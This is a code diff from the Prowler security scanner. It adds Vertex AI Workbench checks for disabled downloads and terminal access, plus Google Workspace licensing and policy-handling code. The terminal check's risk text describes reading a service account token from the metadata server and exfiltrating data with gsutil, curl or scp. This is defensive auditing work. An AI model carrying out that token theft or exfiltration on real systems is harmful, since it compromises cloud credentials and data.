+ "Code": {
+ "CLI": "gcloud workbench instances update --location= --metadata=notebook-disable-downloads=true",
+ "NativeIaC": "",
+ "Other": "1. In Google Cloud Console, go to Vertex AI > Workbench > Instances\n2. Click the instance name and open the Software and security tab\n3. Under Metadata, add the key notebook-disable-downloads with the value true\n4. Click Submit",
+ "Terraform": "```hcl\nresource \"google_workbench_instance\" \"\" {\n name = \"\"\n location = \"\"\n\n gce_setup {\n metadata = {\n notebook-disable-downloads = \"true\" # FIX: Blocks file downloads from the JupyterLab UI\n }\n }\n}\n```"
+ },
+ "Recommendation": {
+ "Text": "Disable file downloads on Workbench instances that handle sensitive data, and keep data inside governed storage.\n- Share results through Cloud Storage or BigQuery, where IAM and audit logging apply\n- Combine with **VPC Service Controls** to stop data leaving the perimeter by other paths\n- Disable terminal access as well, since a shell can still copy data off the VM",
+ "Url": "https://hub.prowler.com/check/vertexai_workbench_instance_file_download_disabled"
+ }
+ },
+ "Categories": [
+ "gen-ai"
+ ],
+ "DependsOn": [],
+ "RelatedTo": [
+ "vertexai_workbench_instance_terminal_access_disabled"
+ ],
+ "Notes": "This setting only blocks downloads through the JupyterLab UI. Users who can run code or open a terminal can still copy data off the instance, so pair it with vertexai_workbench_instance_terminal_access_disabled."
+}
diff --git a/prowler/providers/gcp/services/vertexai/vertexai_workbench_instance_file_download_disabled/vertexai_workbench_instance_file_download_disabled.py b/prowler/providers/gcp/services/vertexai/vertexai_workbench_instance_file_download_disabled/vertexai_workbench_instance_file_download_disabled.py
new file mode 100644
index 0000000000..49743c3ad0
--- /dev/null
+++ b/prowler/providers/gcp/services/vertexai/vertexai_workbench_instance_file_download_disabled/vertexai_workbench_instance_file_download_disabled.py
@@ -0,0 +1,33 @@
+from prowler.lib.check.models import Check, Check_Report_GCP
+from prowler.providers.gcp.services.vertexai.vertexai_client import vertexai_client
+
+
+class vertexai_workbench_instance_file_download_disabled(Check):
+ """Ensure Vertex AI Workbench instances have file downloads disabled.
+
+ JupyterLab lets users download any file from the instance through the
+ browser unless the `notebook-disable-downloads` metadata key is `true`.
+ - PASS: The instance has `notebook-disable-downloads` set to `true`.
+ - FAIL: Notebook users can download files from the JupyterLab UI.
+ """
+
+ def execute(self) -> list[Check_Report_GCP]:
+ """Execute the file download check across all Workbench instances.
+
+ Returns:
+ A list of `Check_Report_GCP` findings, one per non-deleted
+ Workbench instance.
+ """
+ findings = []
+ for instance in vertexai_client.workbench_instances:
+ if instance.state == "DELETED":
+ continue
+ report = Check_Report_GCP(metadata=self.metadata(), resource=instance)
+ if instance.file_download_disabled:
+ report.status = "PASS"
+ report.status_extended = f"Vertex AI Workbench instance {instance.name} has file downloads disabled."
+ else:
+ report.status = "FAIL"
+ report.status_extended = f"Vertex AI Workbench instance {instance.name} has file downloads enabled."
+ findings.append(report)
+ return findings
diff --git a/prowler/providers/gcp/services/vertexai/vertexai_workbench_instance_public_ip_disabled/vertexai_workbench_instance_public_ip_disabled.metadata.json b/prowler/providers/gcp/services/vertexai/vertexai_workbench_instance_public_ip_disabled/vertexai_workbench_instance_public_ip_disabled.metadata.json
index 9d79a54613..26790cddb9 100644
--- a/prowler/providers/gcp/services/vertexai/vertexai_workbench_instance_public_ip_disabled/vertexai_workbench_instance_public_ip_disabled.metadata.json
+++ b/prowler/providers/gcp/services/vertexai/vertexai_workbench_instance_public_ip_disabled/vertexai_workbench_instance_public_ip_disabled.metadata.json
@@ -4,7 +4,7 @@
"CheckTitle": "Vertex AI Workbench instance does not have a public IP address",
"CheckType": [],
"ServiceName": "vertexai",
- "SubServiceName": "workbench",
+ "SubServiceName": "",
"ResourceIdTemplate": "",
"Severity": "high",
"ResourceType": "notebooks.googleapis.com/Instance",
diff --git a/prowler/providers/gcp/services/vertexai/vertexai_workbench_instance_root_access_disabled/vertexai_workbench_instance_root_access_disabled.metadata.json b/prowler/providers/gcp/services/vertexai/vertexai_workbench_instance_root_access_disabled/vertexai_workbench_instance_root_access_disabled.metadata.json
index 5cf2305989..36af1d2348 100644
--- a/prowler/providers/gcp/services/vertexai/vertexai_workbench_instance_root_access_disabled/vertexai_workbench_instance_root_access_disabled.metadata.json
+++ b/prowler/providers/gcp/services/vertexai/vertexai_workbench_instance_root_access_disabled/vertexai_workbench_instance_root_access_disabled.metadata.json
@@ -4,7 +4,7 @@
"CheckTitle": "Vertex AI Workbench instance has root access disabled",
"CheckType": [],
"ServiceName": "vertexai",
- "SubServiceName": "workbench",
+ "SubServiceName": "",
"ResourceIdTemplate": "",
"Severity": "medium",
"ResourceType": "notebooks.googleapis.com/Instance",
diff --git a/prowler/providers/gcp/services/vertexai/vertexai_workbench_instance_terminal_access_disabled/__init__.py b/prowler/providers/gcp/services/vertexai/vertexai_workbench_instance_terminal_access_disabled/__init__.py
new file mode 100644
index 0000000000..e69de29bb2
diff --git a/prowler/providers/gcp/services/vertexai/vertexai_workbench_instance_terminal_access_disabled/vertexai_workbench_instance_terminal_access_disabled.metadata.json b/prowler/providers/gcp/services/vertexai/vertexai_workbench_instance_terminal_access_disabled/vertexai_workbench_instance_terminal_access_disabled.metadata.json
new file mode 100644
index 0000000000..c2c0f466a1
--- /dev/null
+++ b/prowler/providers/gcp/services/vertexai/vertexai_workbench_instance_terminal_access_disabled/vertexai_workbench_instance_terminal_access_disabled.metadata.json
@@ -0,0 +1,41 @@
+{
+ "Provider": "gcp",
+ "CheckID": "vertexai_workbench_instance_terminal_access_disabled",
+ "CheckTitle": "Vertex AI Workbench instance has terminal access disabled",
+ "CheckType": [],
+ "ServiceName": "vertexai",
+ "SubServiceName": "",
+ "ResourceIdTemplate": "",
+ "Severity": "medium",
+ "ResourceType": "notebooks.googleapis.com/Instance",
+ "ResourceGroup": "ai_ml",
+ "Description": "**Vertex AI Workbench instances** give every JupyterLab user a **terminal** by default, which is an interactive shell on the VM. The finding determines whether terminal access is disabled by setting the `notebook-disable-terminal` instance metadata key to `true`.",
+ "Risk": "From the terminal, a notebook user, or anyone who hijacks their session, can:\n- **Credential access**: read the attached service account's access token from the metadata server and use it outside the notebook\n- **Exfiltration**: copy datasets and model artifacts off the VM with `gsutil`, `curl`, or `scp`\n- **Persistence**: start long-running processes that outlive the notebook session",
+ "RelatedUrl": "",
+ "AdditionalURLs": [
+ "https://cloud.google.com/vertex-ai/docs/workbench/instances/manage-metadata",
+ "https://cloud.google.com/vertex-ai/docs/workbench/instances/introduction"
+ ],
+ "Remediation": {
+ "Code": {
+ "CLI": "gcloud workbench instances update --location= --metadata=notebook-disable-terminal=true",
+ "NativeIaC": "",
+ "Other": "1. In Google Cloud Console, go to Vertex AI > Workbench > Instances\n2. Click the instance name and open the Software and security tab\n3. Under Metadata, add the key notebook-disable-terminal with the value true\n4. Click Submit",
+ "Terraform": "```hcl\nresource \"google_workbench_instance\" \"\" {\n name = \"\"\n location = \"\"\n\n gce_setup {\n metadata = {\n notebook-disable-terminal = \"true\" # FIX: Removes the JupyterLab terminal\n }\n }\n}\n```"
+ },
+ "Recommendation": {
+ "Text": "Disable terminal access on Workbench instances that handle sensitive data.\n- Let users run code only through notebooks, where it can be reviewed and audited\n- Use a separate, tightly controlled instance for the rare tasks that need a shell\n- Attach a dedicated, minimally scoped **service account** to each instance to limit what a stolen token can reach",
+ "Url": "https://hub.prowler.com/check/vertexai_workbench_instance_terminal_access_disabled"
+ }
+ },
+ "Categories": [
+ "identity-access",
+ "gen-ai"
+ ],
+ "DependsOn": [],
+ "RelatedTo": [
+ "vertexai_workbench_instance_root_access_disabled",
+ "vertexai_workbench_instance_file_download_disabled"
+ ],
+ "Notes": "Disabling the terminal does not stop code execution from notebook cells. Pair it with vertexai_workbench_instance_root_access_disabled and a minimally scoped service account."
+}
diff --git a/prowler/providers/gcp/services/vertexai/vertexai_workbench_instance_terminal_access_disabled/vertexai_workbench_instance_terminal_access_disabled.py b/prowler/providers/gcp/services/vertexai/vertexai_workbench_instance_terminal_access_disabled/vertexai_workbench_instance_terminal_access_disabled.py
new file mode 100644
index 0000000000..7a727f0942
--- /dev/null
+++ b/prowler/providers/gcp/services/vertexai/vertexai_workbench_instance_terminal_access_disabled/vertexai_workbench_instance_terminal_access_disabled.py
@@ -0,0 +1,33 @@
+from prowler.lib.check.models import Check, Check_Report_GCP
+from prowler.providers.gcp.services.vertexai.vertexai_client import vertexai_client
+
+
+class vertexai_workbench_instance_terminal_access_disabled(Check):
+ """Ensure Vertex AI Workbench instances have terminal access disabled.
+
+ Workbench exposes a JupyterLab terminal (a shell on the VM) unless the
+ `notebook-disable-terminal` metadata key is set to `true`.
+ - PASS: The instance has `notebook-disable-terminal` set to `true`.
+ - FAIL: Notebook users can open a terminal on the instance.
+ """
+
+ def execute(self) -> list[Check_Report_GCP]:
+ """Execute the terminal access check across all Workbench instances.
+
+ Returns:
+ A list of `Check_Report_GCP` findings, one per non-deleted
+ Workbench instance.
+ """
+ findings = []
+ for instance in vertexai_client.workbench_instances:
+ if instance.state == "DELETED":
+ continue
+ report = Check_Report_GCP(metadata=self.metadata(), resource=instance)
+ if instance.terminal_access_disabled:
+ report.status = "PASS"
+ report.status_extended = f"Vertex AI Workbench instance {instance.name} has terminal access disabled."
+ else:
+ report.status = "FAIL"
+ report.status_extended = f"Vertex AI Workbench instance {instance.name} has terminal access enabled."
+ findings.append(report)
+ return findings
diff --git a/prowler/providers/googleworkspace/googleworkspace_provider.py b/prowler/providers/googleworkspace/googleworkspace_provider.py
index 2a40a59ddf..0e2a78f791 100644
--- a/prowler/providers/googleworkspace/googleworkspace_provider.py
+++ b/prowler/providers/googleworkspace/googleworkspace_provider.py
@@ -26,6 +26,10 @@ from prowler.providers.googleworkspace.exceptions.exceptions import (
GoogleWorkspaceNoCredentialsError,
GoogleWorkspaceSetUpIdentityError,
)
+from prowler.providers.googleworkspace.lib.licensing import (
+ LICENSING_SCOPE,
+ fetch_editions,
+)
from prowler.providers.googleworkspace.lib.mutelist.mutelist import (
GoogleWorkspaceMutelist,
)
@@ -116,6 +120,8 @@ class GoogleworkspaceProvider(Provider):
resolved_delegated_user,
)
self._domain_resource = GoogleWorkspaceResource.from_identity(self._identity)
+ # Licensed editions, read on first use: see the `editions` property.
+ self._editions = None
# Audit Config
if config_content:
@@ -152,6 +158,38 @@ class GoogleworkspaceProvider(Provider):
"""Returns the identity information for the Google Workspace provider."""
return self._identity
+ @property
+ def editions(self) -> list[str]:
+ """Google Workspace editions licensed to the tenant, read once, best effort.
+
+ Google sells some audited features only on certain editions, and a
+ finding can say so when every licensed edition lacks the feature. The
+ lookup needs the Enterprise License Manager API and the
+ `apps.licensing` scope, requested as a separate token so a scope the
+ admin has not granted never breaks the session. Without them the list
+ stays empty and findings carry no edition context.
+ """
+ if self._editions is None:
+ self._editions = self._fetch_editions()
+ return self._editions
+
+ def _fetch_editions(self) -> list[str]:
+ """Build a Licensing API client with its own scope and read the editions."""
+ try:
+ service = build(
+ "licensing",
+ "v1",
+ credentials=self._session.credentials.with_scopes([LICENSING_SCOPE]),
+ cache_discovery=False,
+ )
+ except Exception as error:
+ logger.warning(
+ f"Google Workspace editions could not be read: the Licensing "
+ f"client could not be built ({error.__class__.__name__}: {error})."
+ )
+ return []
+ return fetch_editions(service, self._identity.customer_id)
+
@property
def type(self):
"""Returns the type of the Google Workspace provider."""
diff --git a/prowler/providers/googleworkspace/lib/licensing.py b/prowler/providers/googleworkspace/lib/licensing.py
new file mode 100644
index 0000000000..6b4939d287
--- /dev/null
+++ b/prowler/providers/googleworkspace/lib/licensing.py
@@ -0,0 +1,222 @@
+"""Google Workspace editions, read from the Enterprise License Manager API.
+
+Google sells some audited features only on certain editions. Knowing which
+editions a tenant holds lets a finding say when a missing feature is a matter
+of the subscription rather than of configuration, the way the Vercel checks
+explain plan-gated features.
+"""
+
+from typing import Optional
+
+from googleapiclient.errors import HttpError
+
+from prowler.lib.logger import logger
+
+# The Licensing API has no read-only scope; Prowler only lists assignments.
+LICENSING_SCOPE = "https://www.googleapis.com/auth/apps.licensing"
+WORKSPACE_PRODUCT_ID = "Google-Apps"
+# Cloud Identity Premium is a product of its own that a user can hold next to
+# a Workspace license. Google grants it some gated features (DLP for Drive,
+# Google session control), so a tenant that holds it never gets an excuse.
+CLOUD_IDENTITY_PREMIUM_PRODUCT_ID = "101005"
+CLOUD_IDENTITY_PREMIUM = "Cloud Identity Premium"
+
+# SKU ids as listed in the Licensing API products table:
+# https://developers.google.com/workspace/admin/licensing/v1/how-tos/products
+# Education SKUs live under other products (Google-Apps-For-Education, 101031,
+# 101037) and are not read: an Education tenant reports no editions and its
+# findings carry no edition context.
+SKU_EDITIONS = {
+ "1010020027": "Business Starter",
+ "1010020028": "Business Standard",
+ "1010020025": "Business Plus",
+ "1010020029": "Enterprise Starter",
+ "1010020026": "Enterprise Standard",
+ "1010020020": "Enterprise Plus",
+ "1010060001": "Essentials",
+ "1010060003": "Enterprise Essentials",
+ "1010060005": "Enterprise Essentials Plus",
+ "1010020030": "Frontline Starter",
+ "1010020031": "Frontline Standard",
+ "1010020034": "Frontline Plus",
+ "1010020035": "Business Continuity",
+ "1010020036": "Business Continuity Plus",
+ "Google-Apps-For-Business": "G Suite Basic",
+ "Google-Apps-Unlimited": "G Suite Business",
+ "Google-Apps-Lite": "G Suite Lite",
+}
+
+# Google, "About DLP for Drive", lists the supported editions: Frontline
+# Standard and Plus, Enterprise Standard and Plus, Education Fundamentals,
+# Standard and Plus, and Enterprise Essentials Plus. The set names the editions
+# Google sells today without it. The legacy G Suite Business and the Business
+# Continuity SKUs are left out on purpose: Google documents no entitlement for
+# them either way, so they get no excuse.
+EDITIONS_WITHOUT_DRIVE_DLP = {
+ "Business Starter",
+ "Business Standard",
+ "Business Plus",
+ "Enterprise Starter",
+ "Enterprise Essentials",
+ "Essentials",
+ "Frontline Starter",
+ "G Suite Basic",
+ "G Suite Lite",
+}
+DRIVE_DLP_EXPLANATION = (
+ "Drive data protection rules are not available on the Google Workspace "
+ "{editions}."
+)
+
+# Google, "Set session length for Google services", lists the supported
+# editions: Frontline Standard and Plus, Business Plus, Enterprise Standard and
+# Plus, Education Fundamentals, Standard and Plus, Enterprise Essentials Plus,
+# G Suite Business and Cloud Identity Premium. The Admin console has no Google
+# session control page on the other editions. The set names the editions
+# Google sells today without it; the Business Continuity SKUs are left out
+# because Google lists them neither way.
+EDITIONS_WITHOUT_SESSION_CONTROL = {
+ "Business Starter",
+ "Business Standard",
+ "Enterprise Starter",
+ "Enterprise Essentials",
+ "Essentials",
+ "Frontline Starter",
+ "G Suite Basic",
+ "G Suite Lite",
+}
+SESSION_CONTROL_EXPLANATION = (
+ "Google session control is not available on the Google Workspace {editions}."
+)
+
+# Google, "Manage shared drives as an admin": the default sharing settings are
+# "Not supported for Business Starter. All shared drive sharing settings are
+# set to allow." The Admin console greys the controls out on that edition and
+# new shared drives allow every sharing option; a tenant downgraded from
+# another edition may still display its earlier values. Only Business Starter
+# is named because Google documents the behaviour for it alone. Editions
+# missing from the supported list (Frontline Starter and Standard, Enterprise
+# Starter, G Suite Basic and Lite) get no excuse.
+EDITIONS_WITHOUT_SHARED_DRIVE_SETTINGS = {"Business Starter"}
+SHARED_DRIVE_SETTINGS_EXPLANATION = (
+ "shared drive settings cannot be changed on the Google Workspace {editions}, "
+ "where new shared drives allow every sharing option."
+)
+
+
+def fetch_editions(service, customer_id: str) -> list[str]:
+ """Return the Google Workspace editions licensed to the customer.
+
+ Reads every license assignment for the Google Workspace product and names
+ each distinct SKU. An unknown SKU keeps the name the API gives, or its id.
+ Cloud Identity Premium is read as a presence test on its own product and
+ listed as an edition when any user holds it.
+ Returns an empty list when the API cannot be read, which callers treat as
+ "edition unknown": the Licensing API needs its own scope and enablement,
+ and nothing else depends on it.
+ """
+ if service is None:
+ return []
+
+ try:
+ editions = _workspace_editions(service, customer_id)
+ if editions is None:
+ # A client that is not wired for licensing (a bare mock in the
+ # check tests) answers with something that is not a page.
+ return []
+ if _has_cloud_identity_premium(service, customer_id):
+ editions.add(CLOUD_IDENTITY_PREMIUM)
+ except Exception as error:
+ logger.warning(
+ f"Google Workspace editions could not be read "
+ f"({error.__class__.__name__}: {error}). Findings will not say when a "
+ f"feature is not sold on the tenant's edition. Enable the Enterprise "
+ f"License Manager API and authorize the {LICENSING_SCOPE} scope to "
+ f"add that context."
+ )
+ return []
+
+ editions.discard("")
+ return sorted(editions)
+
+
+def _workspace_editions(service, customer_id: str) -> Optional[set[str]]:
+ """Name every Google Workspace SKU assigned to a user, across all pages."""
+ editions: set[str] = set()
+ page_token: Optional[str] = None
+ while True:
+ response = (
+ service.licenseAssignments()
+ .listForProduct(
+ productId=WORKSPACE_PRODUCT_ID,
+ customerId=customer_id,
+ maxResults=1000,
+ pageToken=page_token,
+ )
+ .execute()
+ )
+ if not isinstance(response, dict):
+ return None
+ for item in response.get("items", []):
+ sku_id = item.get("skuId", "")
+ editions.add(SKU_EDITIONS.get(sku_id) or item.get("skuName") or sku_id)
+ page_token = response.get("nextPageToken")
+ if not page_token:
+ return editions
+
+
+def _has_cloud_identity_premium(service, customer_id: str) -> bool:
+ """Tell whether any user holds a Cloud Identity Premium license.
+
+ One assignment is enough, so a single entry is requested. Google does not
+ document how the API answers for a product the customer never subscribed
+ to: an empty page and a 400 or 404 both mean "not held" here, since the
+ Google Workspace listing just succeeded with the same credentials and
+ customer id. Any other failure propagates and leaves the editions unknown,
+ so no finding claims the feature is missing.
+ """
+ try:
+ response = (
+ service.licenseAssignments()
+ .listForProduct(
+ productId=CLOUD_IDENTITY_PREMIUM_PRODUCT_ID,
+ customerId=customer_id,
+ maxResults=1,
+ )
+ .execute()
+ )
+ except HttpError as error:
+ if error.resp.status in (400, 404):
+ return False
+ raise
+ return isinstance(response, dict) and bool(response.get("items"))
+
+
+def edition_reason_suffix(
+ editions, unsupported_editions: set[str], explanation: str
+) -> str:
+ """Return an edition-based explanation suffix only when the editions prove it.
+
+ The suffix is added when every licensed edition lacks the feature; a tenant
+ that also holds a supported edition gets no excuse, and unknown editions
+ give none either. ``explanation`` may name the editions with ``{editions}``,
+ which expands to "Business Starter edition" or "Business Standard and
+ Business Starter editions".
+ """
+ # The check tests run with a bare mock provider whose editions attribute
+ # is a mock as well; anything that is not a real sequence counts as unknown.
+ if not isinstance(editions, (list, tuple, set)) or not editions:
+ return ""
+ if not all(edition in unsupported_editions for edition in editions):
+ return ""
+ return (
+ " This may be expected because "
+ f"{explanation.format(editions=_edition_phrase(editions))}"
+ )
+
+
+def _edition_phrase(editions) -> str:
+ names = list(editions)
+ if len(names) == 1:
+ return f"{names[0]} edition"
+ return f"{', '.join(names[:-1])} and {names[-1]} editions"
diff --git a/prowler/providers/googleworkspace/lib/service/service.py b/prowler/providers/googleworkspace/lib/service/service.py
index 35a10454cd..fb1e210111 100644
--- a/prowler/providers/googleworkspace/lib/service/service.py
+++ b/prowler/providers/googleworkspace/lib/service/service.py
@@ -1,5 +1,8 @@
+from typing import Optional
+
from googleapiclient.discovery import build
from googleapiclient.errors import HttpError
+from pydantic import BaseModel
from prowler.lib.logger import logger
from prowler.providers.googleworkspace.googleworkspace_provider import (
@@ -11,6 +14,52 @@ CUSTOMER_SCOPE = "customer"
OVERRIDE_SCOPE = "override"
UNKNOWN_SCOPE = "unknown"
+# Settings whose policies are items of a list rather than competing values for
+# one setting: every rule is a distinct policy and none outranks another.
+LIST_SETTING_NAMESPACES = ("rule.",)
+
+
+def _setting_type(policy: dict) -> str:
+ """Return the setting type of a policy without the "settings/" prefix."""
+ return (policy.get("setting") or {}).get("type", "").removeprefix("settings/")
+
+
+def _service_state(policy: dict) -> Optional[str]:
+ """Return the serviceState a service status policy carries, if any."""
+ return (((policy.get("setting") or {}).get("value")) or {}).get("serviceState")
+
+
+def _sort_order(policy: dict) -> float:
+ """Return the policy's sortOrder, or 0 when the API did not give one."""
+ try:
+ return float((policy.get("policyQuery") or {}).get("sortOrder") or 0)
+ except (TypeError, ValueError):
+ return 0.0
+
+
+class ServicePolicies(BaseModel):
+ """Base of the per-service policy models: carries the service status.
+
+ `service_state` is the customer-level value of the service's
+ `.service_status` setting. `service_state_overridden` records
+ that an organizational unit or group turns the service back on, in
+ which case "off" at the customer level does not mean off for everyone.
+ """
+
+ service_state: Optional[str] = None
+ service_state_overridden: bool = False
+
+ @property
+ def off_for_everyone(self) -> bool:
+ """Whether the service is off at the customer level with no override.
+
+ Settings that only act while the service is on have no effect then,
+ so the checks on them pass with that reason. Settings that govern
+ what already exists, such as Drive shares or Groups, keep being
+ evaluated: Google keeps existing shares and groups reachable.
+ """
+ return self.service_state == "DISABLED" and not self.service_state_overridden
+
class GoogleWorkspaceService:
def __init__(
@@ -71,6 +120,95 @@ class GoogleWorkspaceService:
"""Whether a policy applies to the whole domain."""
return self._policy_scope(policy) == CUSTOMER_SCOPE
+ def _list_policies(
+ self, service, filter_str: str, context: str
+ ) -> tuple[list[dict], bool]:
+ """Read every Cloud Identity policy matching a filter, across pages.
+
+ Returns the policies read and whether every page was read. A failing
+ page is logged, the pages read before it are kept, and the caller
+ decides what a partial read means for its checks.
+ """
+ policies: list[dict] = []
+ try:
+ request = service.policies().list(pageSize=100, filter=filter_str)
+ while request is not None:
+ response = request.execute()
+ policies.extend(response.get("policies", []))
+ request = service.policies().list_next(request, response)
+ except Exception as error:
+ self._handle_api_error(error, context, self.provider.identity.customer_id)
+ return policies, False
+ return policies, True
+
+ def _effective_policies(self, policies: list[dict]) -> list[dict]:
+ """Keep, per setting type, the customer-level policy Google applies.
+
+ The API returns every policy that exists for a setting: Google's
+ SYSTEM defaults next to the ADMIN policy saved in the Admin console.
+ The value in force is the one with the greatest policyQuery.sortOrder,
+ which is the Policy API's Max reducer, not the last one listed. Rule
+ settings use the List reducer and are not reduced here: each policy is
+ a distinct rule. Settings resolved with the Merge, MaxMap or MergeMap
+ reducers combine several policies; this method keeps the greatest one
+ for them too, which is exact only when that policy supplies the whole
+ reduced value: every field, plus the array values Merge concatenates
+ and the keyed entries MaxMap and MergeMap keep from policies with a
+ lower sortOrder. Policies saved from the Admin console carry every
+ field of the setting. Policies without a sort order keep the API order,
+ so the last one wins.
+ """
+ kept: list[dict] = []
+ position: dict[str, int] = {}
+ for policy in policies:
+ if not self._is_customer_level_policy(policy):
+ continue
+ setting_type = _setting_type(policy)
+ if setting_type.startswith(LIST_SETTING_NAMESPACES):
+ kept.append(policy)
+ continue
+ index = position.get(setting_type)
+ if index is None:
+ position[setting_type] = len(kept)
+ kept.append(policy)
+ elif _sort_order(policy) >= _sort_order(kept[index]):
+ kept[index] = policy
+ return kept
+
+ def _service_status(
+ self, policies: list[dict], setting_type: str
+ ) -> tuple[Optional[str], bool]:
+ """Return a service's customer-level state and whether anything overrides it.
+
+ The state comes from the effective customer-level policy of the given
+ `.service_status` setting. A policy of that setting outside
+ the customer scope counts as an override when it turns the service on,
+ or when its scope could not be resolved: "off" then holds only for
+ part of the tenant.
+ """
+ status_policies = [
+ policy for policy in policies if _setting_type(policy) == setting_type
+ ]
+ overridden = any(
+ self._overrides_service_status(policy) for policy in status_policies
+ )
+ effective = self._effective_policies(status_policies)
+ state = _service_state(effective[0]) if effective else None
+ return state, overridden
+
+ def _overrides_service_status(self, policy: dict) -> bool:
+ """Whether a status policy turns the service back on for part of the tenant.
+
+ A sub-OU or group policy counts only when it does not say DISABLED: an
+ OU that also turns the service off changes nothing, and Google lets an
+ access group only turn a service on. A policy whose scope cannot be
+ resolved counts as well, since it may be either.
+ """
+ scope = self._policy_scope(policy)
+ if scope == CUSTOMER_SCOPE:
+ return False
+ return scope == UNKNOWN_SCOPE or _service_state(policy) != "DISABLED"
+
def _handle_api_error(self, error, context: str, resource_name: str = ""):
"""
Centralized Google Workspace API error handling.
diff --git a/prowler/providers/googleworkspace/services/additionalservices/additionalservices_service.py b/prowler/providers/googleworkspace/services/additionalservices/additionalservices_service.py
index 5a41060bc8..c3ac55ea8b 100644
--- a/prowler/providers/googleworkspace/services/additionalservices/additionalservices_service.py
+++ b/prowler/providers/googleworkspace/services/additionalservices/additionalservices_service.py
@@ -31,43 +31,23 @@ class AdditionalServices(GoogleWorkspaceService):
logger.error("Failed to build Cloud Identity service")
return
- request = service.policies().list(
- pageSize=100,
- filter='setting.type.matches("groups.service_status")',
+ policies, fetch_succeeded = self._list_policies(
+ service,
+ 'setting.type.matches("groups.service_status")',
+ "fetching Additional Services policies",
)
- fetch_succeeded = True
- while request is not None:
- try:
- response = request.execute()
+ for policy in self._effective_policies(policies):
+ setting = policy.get("setting", {})
+ setting_type = setting.get("type", "").removeprefix("settings/")
+ value = setting.get("value", {})
- for policy in response.get("policies", []):
- if not self._is_customer_level_policy(policy):
- continue
-
- setting = policy.get("setting", {})
- setting_type = setting.get("type", "").removeprefix("settings/")
- value = setting.get("value", {})
-
- if setting_type == "groups.service_status":
- self.policies.groups_service_state = value.get(
- "serviceState"
- )
- logger.debug(
- "Additional Services - Groups service state: "
- f"{self.policies.groups_service_state}"
- )
-
- request = service.policies().list_next(request, response)
-
- except Exception as error:
- self._handle_api_error(
- error,
- "fetching Additional Services policies",
- self.provider.identity.customer_id,
+ if setting_type == "groups.service_status":
+ self.policies.groups_service_state = value.get("serviceState")
+ logger.debug(
+ "Additional Services - Groups service state: "
+ f"{self.policies.groups_service_state}"
)
- fetch_succeeded = False
- break
self.policies_fetched = fetch_succeeded
diff --git a/prowler/providers/googleworkspace/services/calendar/calendar_external_invitations_warning/calendar_external_invitations_warning.metadata.json b/prowler/providers/googleworkspace/services/calendar/calendar_external_invitations_warning/calendar_external_invitations_warning.metadata.json
index 3cca0005dd..befbe63f7f 100644
--- a/prowler/providers/googleworkspace/services/calendar/calendar_external_invitations_warning/calendar_external_invitations_warning.metadata.json
+++ b/prowler/providers/googleworkspace/services/calendar/calendar_external_invitations_warning/calendar_external_invitations_warning.metadata.json
@@ -36,5 +36,5 @@
"calendar_external_sharing_primary_calendar",
"calendar_external_sharing_secondary_calendar"
],
- "Notes": ""
+ "Notes": "When Google Calendar is turned off for everyone, the check passes: the setting has no effect while the service is off."
}
diff --git a/prowler/providers/googleworkspace/services/calendar/calendar_external_invitations_warning/calendar_external_invitations_warning.py b/prowler/providers/googleworkspace/services/calendar/calendar_external_invitations_warning/calendar_external_invitations_warning.py
index f2c8f58b2f..e2c7767f90 100644
--- a/prowler/providers/googleworkspace/services/calendar/calendar_external_invitations_warning/calendar_external_invitations_warning.py
+++ b/prowler/providers/googleworkspace/services/calendar/calendar_external_invitations_warning/calendar_external_invitations_warning.py
@@ -28,7 +28,13 @@ class calendar_external_invitations_warning(Check):
warning_enabled = calendar_client.policies.external_invitations_warning
- if warning_enabled is True:
+ if calendar_client.policies.off_for_everyone:
+ report.status = "PASS"
+ report.status_extended = (
+ f"Google Calendar is turned off for everyone in domain "
+ f"{calendar_client.provider.identity.domain}, so no invitation can be sent."
+ )
+ elif warning_enabled is True:
report.status = "PASS"
report.status_extended = (
f"External invitation warnings for Google Calendar are enabled "
diff --git a/prowler/providers/googleworkspace/services/calendar/calendar_external_sharing_primary_calendar/calendar_external_sharing_primary_calendar.metadata.json b/prowler/providers/googleworkspace/services/calendar/calendar_external_sharing_primary_calendar/calendar_external_sharing_primary_calendar.metadata.json
index d923754a9e..a041167f1f 100644
--- a/prowler/providers/googleworkspace/services/calendar/calendar_external_sharing_primary_calendar/calendar_external_sharing_primary_calendar.metadata.json
+++ b/prowler/providers/googleworkspace/services/calendar/calendar_external_sharing_primary_calendar/calendar_external_sharing_primary_calendar.metadata.json
@@ -36,5 +36,5 @@
"calendar_external_sharing_secondary_calendar",
"calendar_external_invitations_warning"
],
- "Notes": ""
+ "Notes": "When Google Calendar is turned off for everyone, the check passes: the setting has no effect while the service is off."
}
diff --git a/prowler/providers/googleworkspace/services/calendar/calendar_external_sharing_primary_calendar/calendar_external_sharing_primary_calendar.py b/prowler/providers/googleworkspace/services/calendar/calendar_external_sharing_primary_calendar/calendar_external_sharing_primary_calendar.py
index 42be5e9f0d..f50cda84d2 100644
--- a/prowler/providers/googleworkspace/services/calendar/calendar_external_sharing_primary_calendar/calendar_external_sharing_primary_calendar.py
+++ b/prowler/providers/googleworkspace/services/calendar/calendar_external_sharing_primary_calendar/calendar_external_sharing_primary_calendar.py
@@ -28,7 +28,13 @@ class calendar_external_sharing_primary_calendar(Check):
sharing = calendar_client.policies.primary_calendar_external_sharing
- if sharing == "EXTERNAL_FREE_BUSY_ONLY":
+ if calendar_client.policies.off_for_everyone:
+ report.status = "PASS"
+ report.status_extended = (
+ f"Google Calendar is turned off for everyone in domain "
+ f"{calendar_client.provider.identity.domain}, so no calendar can be shared outside the organization."
+ )
+ elif sharing == "EXTERNAL_FREE_BUSY_ONLY":
report.status = "PASS"
report.status_extended = (
f"Primary calendar external sharing in domain "
diff --git a/prowler/providers/googleworkspace/services/calendar/calendar_external_sharing_secondary_calendar/calendar_external_sharing_secondary_calendar.metadata.json b/prowler/providers/googleworkspace/services/calendar/calendar_external_sharing_secondary_calendar/calendar_external_sharing_secondary_calendar.metadata.json
index d1ac914a0f..222ac4fae2 100644
--- a/prowler/providers/googleworkspace/services/calendar/calendar_external_sharing_secondary_calendar/calendar_external_sharing_secondary_calendar.metadata.json
+++ b/prowler/providers/googleworkspace/services/calendar/calendar_external_sharing_secondary_calendar/calendar_external_sharing_secondary_calendar.metadata.json
@@ -36,5 +36,5 @@
"calendar_external_sharing_primary_calendar",
"calendar_external_invitations_warning"
],
- "Notes": ""
+ "Notes": "When Google Calendar is turned off for everyone, the check passes: the setting has no effect while the service is off."
}
